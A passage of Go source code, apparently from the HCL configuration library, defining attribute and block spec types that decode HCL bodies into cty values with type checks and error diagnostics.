make([]cty.Type, len(s))\n    for i, childSpec := range s {\n        attrTypes[i] = childSpec.impliedType()\n    }\n    return cty.Tuple(attrTypes)\n}\n\nfunc (s TupleSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // This is not great, but the best we can do. In practice, it's rather\n    // strange to ask for the source range of an entire top-level body, since\n    // that's already readily available to the caller.\n    return content.MissingItemRange\n}\n\n// An AttrSpec is a Spec that evaluates a particular attribute expression in\n// the body and returns its resulting value converted to the requested type,\n// or produces a diagnostic if the type is incorrect.\ntype AttrSpec struct {\n    Name     string\n    Type     cty.Type\n    Required bool\n}\n\nfunc (s *AttrSpec) visitSameBodyChildren(cb visitFunc) {\n    // leaf node\n}\n\n// specNeedingVariables implementation\nfunc (s *AttrSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal {\n    attr, exists := content.Attributes[s.Name]\n    if !exists {\n        return nil\n    }\n\n    return attr.Expr.Variables()\n}\n\n// attrSpec implementation\nfunc (s *AttrSpec) attrSchemata() []hcl.AttributeSchema {\n    return []hcl.AttributeSchema{\n        {\n            Name:     s.Name,\n            Required: s.Required,\n        },\n    }\n}\n\nfunc (s *AttrSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    attr, exists := content.Attributes[s.Name]\n    if !exists {\n        return content.MissingItemRange\n    }\n\n    return attr.Expr.Range()\n}\n\nfunc (s *AttrSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    attr, exists := content.Attributes[s.Name]\n    if !exists {\n        // We don't need to check required and emit a diagnostic here, because\n        // that would already have happened when building \"content\".\n        return cty.NullVal(s.Type), nil\n    }\n\n    if decodeFn := customdecode.CustomExpressionDecoderForType(s.Type); decodeFn != nil {\n        v, diags := decodeFn(attr.Expr, ctx)\n        if v == cty.NilVal {\n            v = cty.UnknownVal(s.Type)\n        }\n        return v, diags\n    }\n\n    val, diags := attr.Expr.Value(ctx)\n\n    convVal, err := convert.Convert(val, s.Type)\n    if err != nil {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Incorrect attribute value type\",\n            Detail: fmt.Sprintf(\n                \"Inappropriate value for attribute %q: %s.\",\n                s.Name, err.Error(),\n            ),\n            Subject:     attr.Expr.Range().Ptr(),\n            Context:     hcl.RangeBetween(attr.NameRange, attr.Expr.Range()).Ptr(),\n            Expression:  attr.Expr,\n            EvalContext: ctx,\n        })\n        // We'll return an unknown value of the _correct_ type so that the\n        // incomplete result can still be used for some analysis use-cases.\n        val = cty.UnknownVal(s.Type)\n    } else {\n        val = convVal\n    }\n\n    return val, diags\n}\n\nfunc (s *AttrSpec) impliedType() cty.Type {\n    return s.Type\n}\n\n// A LiteralSpec is a Spec that produces the given literal value, ignoring\n// the given body.\ntype LiteralSpec struct {\n    Value cty.Value\n}\n\nfunc (s *LiteralSpec) visitSameBodyChildren(cb visitFunc) {\n    // leaf node\n}\n\nfunc (s *LiteralSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    return s.Value, nil\n}\n\nfunc (s *LiteralSpec) impliedType() cty.Type {\n    return s.Value.Type()\n}\n\nfunc (s *LiteralSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // No sensible range to return for a literal, so the caller had better\n    // ensure it doesn't cause any diagnostics.\n    return hcl.Range{\n        Filename: \"<unknown>\",\n    }\n}\n\n// An ExprSpec is a Spec that evaluates the given expression, ignoring the\n// given body.\ntype ExprSpec struct {\n    Expr hcl.Expression\n}\n\nfunc (s *ExprSpec) visitSameBodyChildren(cb visitFunc) {\n    // leaf node\n}\n\n// specNeedingVariables implementation\nfunc (s *ExprSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal {\n    return s.Expr.Variables()\n}\n\nfunc (s *ExprSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    return s.Expr.Value(ctx)\n}\n\nfunc (s *ExprSpec) impliedType() cty.Type {\n    // We can't know the type of our expression until we evaluate it\n    return cty.DynamicPseudoType\n}\n\nfunc (s *ExprSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    return s.Expr.Range()\n}\n\n// A BlockSpec is a Spec that produces a cty.Value by decoding the contents\n// of a single nested block of a given type, using a nested spec.\n//\n// If the Required flag is not set, the nested block may be omitted, in which\n// case a null value is produced. If it _is_ set, an error diagnostic is\n// produced if there are no nested blocks of the given type.\ntype BlockSpec struct {\n    TypeName string\n    Nested   Spec\n    Required bool\n}\n\nfunc (s *BlockSpec) visitSameBodyChildren(cb visitFunc) {\n    // leaf node (\"Nested\" does not use the same body)\n}\n\n// blockSpec implementation\nfunc (s *BlockSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {\n    return []hcl.BlockHeaderSchema{\n        {\n            Type:       s.TypeName,\n            LabelNames: findLabelSpecs(s.Nested),\n        },\n    }\n}\n\n// blockSpec implementation\nfunc (s *BlockSpec) nestedSpec() Spec {\n    return s.Nested\n}\n\n// specNeedingVariables implementation\nfunc (s *BlockSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal {\n    var childBlock *hcl.Block\n    for _, candidate := range content.Blocks {\n        if candidate.Type != s.TypeName {\n            continue\n        }\n\n        childBlock = candidate\n        break\n    }\n\n    if childBlock == nil {\n        return nil\n    }\n\n    return Variables(childBlock.Body, s.Nested)\n}\n\nfunc (s *BlockSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    var childBlock *hcl.Block\n    for _, candidate := range content.Blocks {\n        if candidate.Type != s.TypeName {\n            continue\n        }\n\n        if childBlock != nil {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  fmt.Sprintf(\"Duplicate %s block\", s.TypeName),\n                Detail: fmt.Sprintf(\n                    \"Only one block of type %q is allowed. Previous definition was at %s.\",\n                    s.TypeName, childBlock.DefRange.String(),\n                ),\n                Subject: &candidate.DefRange,\n            })\n            break\n        }\n\n        childBlock = candidate\n    }\n\n    if childBlock == nil {\n        if s.Required {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  fmt.Sprintf(\"Missing %s block\", s.TypeName),\n                Detail: fmt.Sprintf(\n                    \"A block of type %q is required here.\", s.TypeName,\n                ),\n                Subject: &content.MissingItemRange,\n            })\n        }\n        return cty.NullVal(s.Nested.impliedType()), diags\n    }\n\n    if s.Nested == nil {\n        panic(\"BlockSpec with no Nested Spec\")\n    }\n    val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false)\n    diags = append(diags, childDiags...)\n    return val, diags\n}\n\nfunc (s *BlockSpec) impliedType() cty.Type {\n    return s.Nested.impliedType()\n}\n\nfunc (s *BlockSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    var childBlock *hcl.Block\n    for _, candidate := range content.Blocks {\n        if candidate.Type != s.TypeName {\n            continue\n        }\n\n        childBlock = candidate\n        break\n    }\n\n    if childBlock == nil {\n        return content.MissingItemRange\n    }\n\n    return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)\n}\n\n// A BlockListSpec is a Spec that produces a cty list of the results of\n// decoding all of the nested blocks of a given type, using a nested spec.\ntype BlockListSpec struct {\n    TypeName string\n    Nested   Spec\n    MinItems int\n    MaxItems int\n}\n\nfunc (s *BlockListSpec) visitSameBodyChildren(cb visitFunc) {\n    // leaf node (\"Nested\" does not use the same body)\n}\n\n// blockSpec implementation\nfunc (s *BlockListSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {\n    return []hcl.BlockHeaderSchema{\n        {\n            Type:       s.TypeName,\n            LabelNames: findLabelSpecs(s.Nested),\n        },\n    }\n}\n\n// blockSpec implementation\nfunc (s *BlockListSpec) nestedSpec() Spec {\n    return s.Nested\n}\n\n// specNeedingVariables implementation\nfunc (s *BlockListSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal {\n    var ret []hcl.Traversal\n\n    for _, childBlock := range content.Blocks {\n        if childBlock.Type != s.TypeName {\n            continue\n        }\n\n        ret = append(ret, Variables(childBlock.Body, s.Nested)...)\n    }\n\n    return ret\n}\n\nfunc (s *BlockListSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    if s.Nested == nil {\n        panic(\"BlockListSpec with no Nested Spec\")\n    }\n\n    var elems []cty.Value\n    var sourceRanges []hcl.Range\n    for _, childBlock := range content.Blocks {\n        if childBlock.Type != s.TypeName {\n            continue\n        }\n\n        val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false)\n        diags = append(diags, childDiags...)\n\n        if u, ok := childBlock.Body.(UnknownBody); ok {\n            if u.Unknown() {\n                // If any block Body is unknown, then the entire block value\n                // must be unknown\n                return cty.UnknownVal(s.impliedType()), diags\n            }\n        }\n\n        elems = append(elems, val)\n        sourceRanges = append(sourceRanges, sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested))\n    }\n\n    if len(elems) < s.MinItems {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  fmt.Sprintf(\"Insufficient %s blocks\", s.TypeName),\n            Detail:   fmt.Sprintf(\"At least %d %q blocks are required.\", s.MinItems, s.TypeName),\n            Subject:  &content.MissingItemRange,\n        })\n    } else if s.MaxItems > 0 && len(elems) > s.MaxItems {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  fmt.Sprintf(\"Too many %s blocks\", s.TypeName),\n            Detail:   fmt.Sprintf(\"No more than %d %q blocks are allowed\", s.MaxItems, s.TypeName),\n            Subject:  &sourceRanges[s.MaxItems],\n        })\n    }\n\n    if len(elems) == 0 {\n        return cty.ListValEmpty(s.Nested.impliedType()), diags\n    }\n\n    // Since our target is a list, all of the decoded elements must have the\n    // same type or cty.ListVal will panic below. Different types can arise\n    // if there is an attribute spec of type cty.DynamicPseudoType in the\n    // nested spec; all given values must be convertible to a single type\n    // in order for the result to be considered valid.\n    etys := make([]cty.Type, len(elems))\n    for i, v := range elems {\n        etys[i] = v.Type()\n    }\n    ety, convs := convert.UnifyUnsafe(etys)\n    if ety == cty.NilType {\n        // FIXME: This is a pretty terrible error message.\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  fmt.Sprintf(\"Inconsistent argument types in %s blocks\", s.TypeName),\n            Detail:   \"Corresponding attributes in all blocks of this type must be the same.\",\n            Subject:  &sourceRanges[0],\n        })\n        return cty.DynamicVal, diags\n    }\n    for i, v := range elems {\n        if convs[i] != nil {\n            newV, err := convs[i](v)\n            if err != nil {\n                // FIXME: This is a pretty terrible error message.\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  fmt.Sprintf(\"Inconsistent argument types in %s blocks\", s.TypeName),\n                    Detail:   fmt.Sprintf(\"Block with index %d has inconsistent argument types: %s.\", i, err),\n                    Subject:  &sourceRanges[i],\n                })\n                // Bail early here so we won't panic below in cty.ListVal\n                return cty.DynamicVal, diags\n            }\n            elems[i] = newV\n        }\n    }\n\n    return cty.ListVal(elems), diags\n}\n\nfunc (s *BlockListSpec) impliedType() cty.Type {\n    return cty.List(s.Nested.impliedType())\n}\n\nfunc (s *BlockListSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // We return the source range of the _first_ block of the given type,\n    // since they are not guaranteed to form a contiguous range.\n\n    var childBlock *hcl.Block\n    for _, candidate := range content.Blocks {\n        if candidate.Type != s.TypeName {\n            continue\n        }\n\n        childBlock = candidate\n        break\n    }\n\n    if childBlock == nil {\n        return content.MissingItemRange\n    }\n\n    return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)\n}\n\n// A BlockTupleSpec is a Spec that produces a cty tuple of the results of\n// decoding all of the nested blocks of a given type, using a nested spec.\n//\n// This is similar to BlockListSpec, but it permits the nested blocks to have\n// different result types in situations where cty.DynamicPseudoType attributes\n// are present.\ntype BlockTupleSpec struct {\n    TypeName string\n    Nested   Spec\n    MinItems int\n    MaxItems int\n}\n\nfunc (s *BlockTupleSpec) visitSameBodyChildren(cb visitFunc) {\n    // leaf node (\"Nested\" does not use the same body)\n}\n\n// blockSpec implementation\nfunc (s *BlockTupleSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {\n    return []hcl.BlockHeaderSchema{\n        {\n            Type:       s.TypeName,\n            LabelNames: findLabelSpecs(s.Nested),\n        },\n    }\n}\n\n// blockSpec implementation\nfunc (s *BlockTupleSpec) nestedSpec() Spec {\n    return s.Nested\n}\n\n// specNeedingVariables implementation\nfunc (s *BlockTupleSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal {\n    var ret []hcl.Traversal\n\n    for _, childBlock := range content.Blocks {\n        if childBlock.Type != s.TypeName {\n            continue\n        }\n\n        ret = append(ret, Variables(childBlock.Body, s.Nested)...)\n    }\n\n    return ret\n}\n\nfunc (s *BlockTupleSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    if s.Nested == nil {\n        panic(\"BlockListSpec with no Nested Spec\")\n    }\n\n    var elems []cty.Value\n    var sourceRanges []hcl.Range\n    for _, childBlock := range content.Blocks {\n        if childBlock.Type != s.TypeName {\n            continue\n        }\n\n        val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false)\n        diags = append(diags, childDiags...)\n\n        if u, ok := childBlock.Body.(UnknownBody); ok {\n            if u.Unknown() {\n                // If any block Body is unknown, then the entire block value\n                // must be unknown\n                return cty.UnknownVal(s.impliedType()), diags\n            }\n        }\n\n        elems = append(elems, val)\n        sourceRanges = append(sourceRanges, sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested))\n    }\n\n    if len(elems) < s.MinItems {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  fmt.Sprintf(\"Insufficient %s blocks\", s.TypeName),\n            Detail:   fmt.Sprintf(\"At least %d %q blocks are required.\", s.MinItems, s.TypeName),\n            Subject:  &content.MissingItemRange,\n        })\n    } else if s.MaxItems > 0 && len(elems) > s.MaxItems {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  fmt.Sprintf(\"Too many %s blocks\", s.TypeName),\n            Detail:   fmt.Sprintf(\"No more than %d %q blocks are allowed\", s.MaxItems, s.TypeName),\n            Subject:  &sourceRanges[s.MaxItems],\n        })\n    }\n\n    if len(elems) == 0 {\n        return cty.EmptyTupleVal, diags\n    }\n\n    return cty.TupleVal(elems), diags\n}\n\nfunc (s *BlockTupleSpec) impliedType() cty.Type {\n    // We can't predict our type, because we don't know how many blocks\n    // there will be until we decode.\n    return cty.DynamicPseudoType\n}\n\nfunc (s *BlockTupleSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // We return the source range of the _first_ block of the given type,\n    // since they are not guaranteed to form a contiguous range.\n\n    var childBlock *hcl.Block\n    for _, candidate := range content.Blocks {\n        if candidate.Type != s.TypeName {\n            continue\n        }\n\n        childBlock = candidate\n        break\n    }\n\n    if childBlock == nil {\n        return content.MissingItemRange\n    }\n\n    return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)\n}\n\n// A BlockSetSpec is a Spec that produces a cty set of the results of\n// decoding all of the nested blocks of a given type, using a nested spec.\ntype BlockSetSpec struct {\n    TypeName string\n    Nested   Spec\n    MinItems int\n    MaxItems int\n}\n\nfunc (s *BlockSetSpec) visitSameBodyChildren(cb visitFunc) {\n    // leaf node (\"Nested\" does not use the same body)\n}\n\n// blockSpec implementation\nfunc (s *BlockSetSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {\n    return []hcl.BlockHeaderSchema{\n        {\n            Type:       s.TypeName,\n            LabelNames: findLabelSpecs(s.Nested),\n        },\n    }\n}\n\n// blockSpec implementation\nfunc (s *BlockSetSpec) nestedSpec() Spec {\n    return s.Nested\n}\n\n// specNeedingVariables implementation\nfunc (s *BlockSetSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal {\n    var ret []hcl.Traversal\n\n    for _, childBlock := range content.Blocks {\n        if childBlock.Type != s.TypeName {\n            continue\n        }\n\n        ret = append(ret, Variables(childBlock.Body, s.Nested)...)\n    }\n\n    return ret\n}\n\nfunc (s *BlockSetSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    if s.Nested == nil {\n        panic(\"BlockSetSpec with no Nested Spec\")\n    }\n\n    var elems []cty.Value\n    var sourceRanges []hcl.Range\n\n    for _, childBlock := range content.Blocks {\n        if childBlock.Type != s.TypeName {\n            continue\n        }\n\n        val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false)\n        diags = append(diags, childDiags...)\n\n        if u, ok := childBlock.Body.(UnknownBody); ok {\n            if u.Unknown() {\n                // If any block Body is unknown, then the entire block value\n                // must be unknown\n                return cty.UnknownVal(s.impliedType()), diags\n            }\n        }\n\n        elems = append(elems, val)\n        sourceRanges = append(sourceRanges, sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested))\n    }\n\n    if len(elems) < s.MinItems {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  fmt.Sprintf(\"Insufficient %s blocks\", s.TypeName),\n            Detail:   fmt.Sprintf(\"At least %d %q blocks are required.\", s.MinItems, s.TypeName),\n            Subject:  &content.MissingItemRange,\n        })\n    } else if s.MaxItems > 0 && len(elems) > s.MaxItems {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  fmt.Sprintf(\"Too many %s blocks\", s.TypeName),\n            Detail:   fmt.Sprintf(\"No more than %d %q blocks are allowed\", s.MaxItems, s.TypeName),\n            Subject:  &sourceRanges[s.MaxItems],\n        })\n    }\n\n    if len(elems) == 0 {\n        return cty.SetValEmpty(s.Nested.impliedType()), diags\n    }\n\n    // Since our target is a set, all of the decoded elements must have the\n    // same type or cty.SetVal will panic below. Different types can arise\n    // if there is an attribute spec of type cty.DynamicPseudoType in the\n    // nested spec; all given values must be convertible to a single type\n    // in order for the result to be considered valid.\n    etys := make([]cty.Type, len(elems))\n    for i, v := range elems {\n        etys[i] = v.Type()\n    }\n    ety, convs := convert.UnifyUnsafe(etys)\n    if ety == cty.NilType {\n        // FIXME: This is a pretty terrible error message.\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  fmt.Sprintf(\"Inconsistent argument types in %s blocks\", s.TypeName),\n            Detail:   \"Corresponding attributes in all blocks of this type must be the same.\",\n            Subject:  &sourceRanges[0],\n        })\n        return cty.DynamicVal, diags\n    }\n    for i, v := range elems {\n        if convs[i] != nil {\n            newV, err := convs[i](v)\n            if err != nil {\n                // FIXME: This is a pretty terrible error message.\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  fmt.Sprintf(\"Inconsistent argument types in %s blocks\", s.TypeName),\n                    Detail:   fmt.Sprintf(\"Block with index %d has inconsistent argument types: %s.\", i, err),\n                    Subject:  &sourceRanges[i],\n                })\n                // Bail early here so we won't panic below in cty.ListVal\n                return cty.DynamicVal, diags\n            }\n            elems[i] = newV\n        }\n    }\n\n    return cty.SetVal(elems), diags\n}\n\nfunc (s *BlockSetSpec) impliedType() cty.Type {\n    return cty.Set(s.Nested.impliedType())\n}\n\nfunc (s *BlockSetSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // We return the source range of the _first_ block of the given type,\n    // since they are not guaranteed to form a contiguous range.\n\n    var childBlock *hcl.Block\n    for _, candidate := range content.Blocks {\n        if candidate.Type != s.TypeName {\n            continue\n        }\n\n        childBlock = candidate\n        break\n    }\n\n    if childBlock == nil {\n        return content.MissingItemRange\n    }\n\n    return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)\n}\n\n// A BlockMapSpec is a Spec that produces a cty map of the results of\n// decoding all of the nested blocks of a given type, using a nested spec.\n//\n// One level of map structure is created for each of the given label names.\n// There must be at least one given label name.\ntype BlockMapSpec struct {\n    TypeName   string\n    LabelNames []string\n    Nested     Spec\n}\n\nfunc (s *BlockMapSpec) visitSameBodyChildren(cb visitFunc) {\n    // leaf node (\"Nested\" does not use the same body)\n}\n\n// blockSpec implementation\nfunc (s *BlockMapSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {\n    return []hcl.BlockHeaderSchema{\n        {\n            Type:       s.TypeName,\n            LabelNames: append(s.LabelNames, findLabelSpecs(s.Nested)...),\n        },\n    }\n}\n\n// blockSpec implementation\nfunc (s *BlockMapSpec) nestedSpec() Spec {\n    return s.Nested\n}\n\n// specNeedingVariables implementation\nfunc (s *BlockMapSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal {\n    var ret []hcl.Traversal\n\n    for _, childBlock := range content.Blocks {\n        if childBlock.Type != s.TypeName {\n            continue\n        }\n\n        ret = append(ret, Variables(childBlock.Body, s.Nested)...)\n    }\n\n    return ret\n}\n\nfunc (s *BlockMapSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    if s.Nested == nil {\n        panic(\"BlockMapSpec with no Nested Spec\")\n    }\n    if ImpliedType(s).HasDynamicTypes() {\n        panic(\"cty.DynamicPseudoType attributes may not be used inside a BlockMapSpec\")\n    }\n\n    elems := map[string]interface{}{}\n    for _, childBlock := range content.Blocks {\n        if childBlock.Type != s.TypeName {\n            continue\n        }\n\n        if u, ok := childBlock.Body.(UnknownBody); ok {\n            if u.Unknown() {\n                // If any block Body is unknown, then the entire block value\n                // must be unknown\n                return cty.UnknownVal(s.impliedType()), diags\n            }\n        }\n\n        childLabels := labelsForBlock(childBlock)\n        val, _, childDiags := decode(childBlock.Body, childLabels[len(s.LabelNames):], ctx, s.Nested, false)\n        targetMap := elems\n        for _, key := range childBlock.Labels[:len(s.LabelNames)-1] {\n            if _, exists := targetMap[key]; !exists {\n                targetMap[key] = make(map[string]interface{})\n            }\n            targetMap = targetMap[key].(map[string]interface{})\n        }\n\n        diags = append(diags, childDiags...)\n\n        key := childBlock.Labels[len(s.LabelNames)-1]\n        if _, exists := targetMap[key]; exists {\n            labelsBuf := bytes.Buffer{}\n            for _, label := range childBlock.Labels {\n                fmt.Fprintf(&labelsBuf, \" %q\", label)\n            }\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  fmt.Sprintf(\"Duplicate %s block\", s.TypeName),\n                Detail: fmt.Sprintf(\n                    \"A block for %s%s was already defined. The %s labels must be unique.\",\n                    s.TypeName, labelsBuf.String(), s.TypeName,\n                ),\n                Subject: &childBlock.DefRange,\n            })\n            continue\n        }\n\n        targetMap[key] = val\n    }\n\n    if len(elems) == 0 {\n        return cty.MapValEmpty(s.Nested.impliedType()), diags\n    }\n\n    var ctyMap func(map[string]interface{}, int) cty.Value\n    ctyMap = func(raw map[string]interface{}, depth int) cty.Value {\n        vals := make(map[string]cty.Value, len(raw))\n        if depth == 1 {\n            for k, v := range raw {\n                vals[k] = v.(cty.Value)\n            }\n        } else {\n            for k, v := range raw {\n                vals[k] = ctyMap(v.(map[string]interface{}), depth-1)\n            }\n        }\n        return cty.MapVal(vals)\n    }\n\n    return ctyMap(elems, len(s.LabelNames)), diags\n}\n\nfunc (s *BlockMapSpec) impliedType() cty.Type {\n    ret := s.Nested.impliedType()\n    for _ = range s.LabelNames {\n        ret = cty.Map(ret)\n    }\n    return ret\n}\n\nfunc (s *BlockMapSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // We return the source range of the _first_ block of the given type,\n    // since they are not guaranteed to form a contiguous range.\n\n    var childBlock *hcl.Block\n    for _, candidate := range content.Blocks {\n        if candidate.Type != s.TypeName {\n            continue\n        }\n\n        childBlock = candidate\n        break\n    }\n\n    if childBlock == nil {\n        return content.MissingItemRange\n    }\n\n    return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)\n}\n\n// A BlockObjectSpec is a Spec that produces a cty object of the results of\n// decoding all of the nested blocks of a given type, using a nested spec.\n//\n// One level of object structure is created for each of the given label names.\n// There must be at least one given label name.\n//\n// This is similar to BlockMapSpec, but it permits the nested blocks to have\n// different result types in situations where cty.DynamicPseudoType attributes\n// are present.\ntype BlockObjectSpec struct {\n    TypeName   string\n    LabelNames []string\n    Nested     Spec\n}\n\nfunc (s *BlockObjectSpec) visitSameBodyChildren(cb visitFunc) {\n    // leaf node (\"Nested\" does not use the same body)\n}\n\n// blockSpec implementation\nfunc (s *BlockObjectSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema {\n    return []hcl.BlockHeaderSchema{\n        {\n            Type:       s.TypeName,\n            LabelNames: append(s.LabelNames, findLabelSpecs(s.Nested)...),\n        },\n    }\n}\n\n// blockSpec implementation\nfunc (s *BlockObjectSpec) nestedSpec() Spec {\n    return s.Nested\n}\n\n// specNeedingVariables implementation\nfunc (s *BlockObjectSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal {\n    var ret []hcl.Traversal\n\n    for _, childBlock := range content.Blocks {\n        if childBlock.Type != s.TypeName {\n            continue\n        }\n\n        ret = append(ret, Variables(childBlock.Body, s.Nested)...)\n    }\n\n    return ret\n}\n\nfunc (s *BlockObjectSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    if s.Nested == nil {\n        panic(\"BlockObjectSpec with no Nested Spec\")\n    }\n\n    elems := map[string]interface{}{}\n    for _, childBlock := range content.Blocks {\n        if childBlock.Type != s.TypeName {\n            continue\n        }\n\n        if u, ok := childBlock.Body.(UnknownBody); ok {\n            if u.Unknown() {\n                // If any block Body is unknown, then the entire block value\n                // must be unknown\n                return cty.UnknownVal(s.impliedType()), diags\n            }\n        }\n\n        childLabels := labelsForBlock(childBlock)\n        val, _, childDiags := decode(childBlock.Body, childLabels[len(s.LabelNames):], ctx, s.Nested, false)\n        targetMap := elems\n        for _, key := range childBlock.Labels[:len(s.LabelNames)-1] {\n            if _, exists := targetMap[key]; !exists {\n                targetMap[key] = make(map[string]interface{})\n            }\n            targetMap = targetMap[key].(map[string]interface{})\n        }\n\n        diags = append(diags, childDiags...)\n\n        key := childBlock.Labels[len(s.LabelNames)-1]\n        if _, exists := targetMap[key]; exists {\n            labelsBuf := bytes.Buffer{}\n            for _, label := range childBlock.Labels {\n                fmt.Fprintf(&labelsBuf, \" %q\", label)\n            }\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  fmt.Sprintf(\"Duplicate %s block\", s.TypeName),\n                Detail: fmt.Sprintf(\n                    \"A block for %s%s was already defined. The %s labels must be unique.\",\n                    s.TypeName, labelsBuf.String(), s.TypeName,\n                ),\n                Subject: &childBlock.DefRange,\n            })\n            continue\n        }\n\n        targetMap[key] = val\n    }\n\n    if len(elems) == 0 {\n        return cty.EmptyObjectVal, diags\n    }\n\n    var ctyObj func(map[string]interface{}, int) cty.Value\n    ctyObj = func(raw map[string]interface{}, depth int) cty.Value {\n        vals := make(map[string]cty.Value, len(raw))\n        if depth == 1 {\n            for k, v := range raw {\n                vals[k] = v.(cty.Value)\n            }\n        } else {\n            for k, v := range raw {\n                vals[k] = ctyObj(v.(map[string]interface{}), depth-1)\n            }\n        }\n        return cty.ObjectVal(vals)\n    }\n\n    return ctyObj(elems, len(s.LabelNames)), diags\n}\n\nfunc (s *BlockObjectSpec) impliedType() cty.Type {\n    // We can't predict our type, since we don't know how many blocks are\n    // present and what labels they have until we decode.\n    return cty.DynamicPseudoType\n}\n\nfunc (s *BlockObjectSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // We return the source range of the _first_ block of the given type,\n    // since they are not guaranteed to form a contiguous range.\n\n    var childBlock *hcl.Block\n    for _, candidate := range content.Blocks {\n        if candidate.Type != s.TypeName {\n            continue\n        }\n\n        childBlock = candidate\n        break\n    }\n\n    if childBlock == nil {\n        return content.MissingItemRange\n    }\n\n    return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)\n}\n\n// A BlockAttrsSpec is a Spec that interprets a single block as if it were\n// a map of some element type. That is, each attribute within the block\n// becomes a key in the resulting map and the attribute's value becomes the\n// element value, after conversion to the given element type. The resulting\n// value is a cty.Map of the given element type.\n//\n// This spec imposes a validation constraint that there be exactly one block\n// of the given type name and that this block may contain only attributes. The\n// block does not accept any labels.\n//\n// This is an alternative to an AttrSpec of a map type for situations where\n// block syntax is desired. Note that block syntax does not permit dynamic\n// keys, construction of the result via a \"for\" expression, etc. In most cases\n// an AttrSpec is preferred if the desired result is a map whose keys are\n// chosen by the user rather than by schema.\ntype BlockAttrsSpec struct {\n    TypeName    string\n    ElementType cty.Type\n    Required    bool\n}\n\nfunc (s *BlockAttrsSpec) visitSameBodyChildren(cb visitFunc) {\n  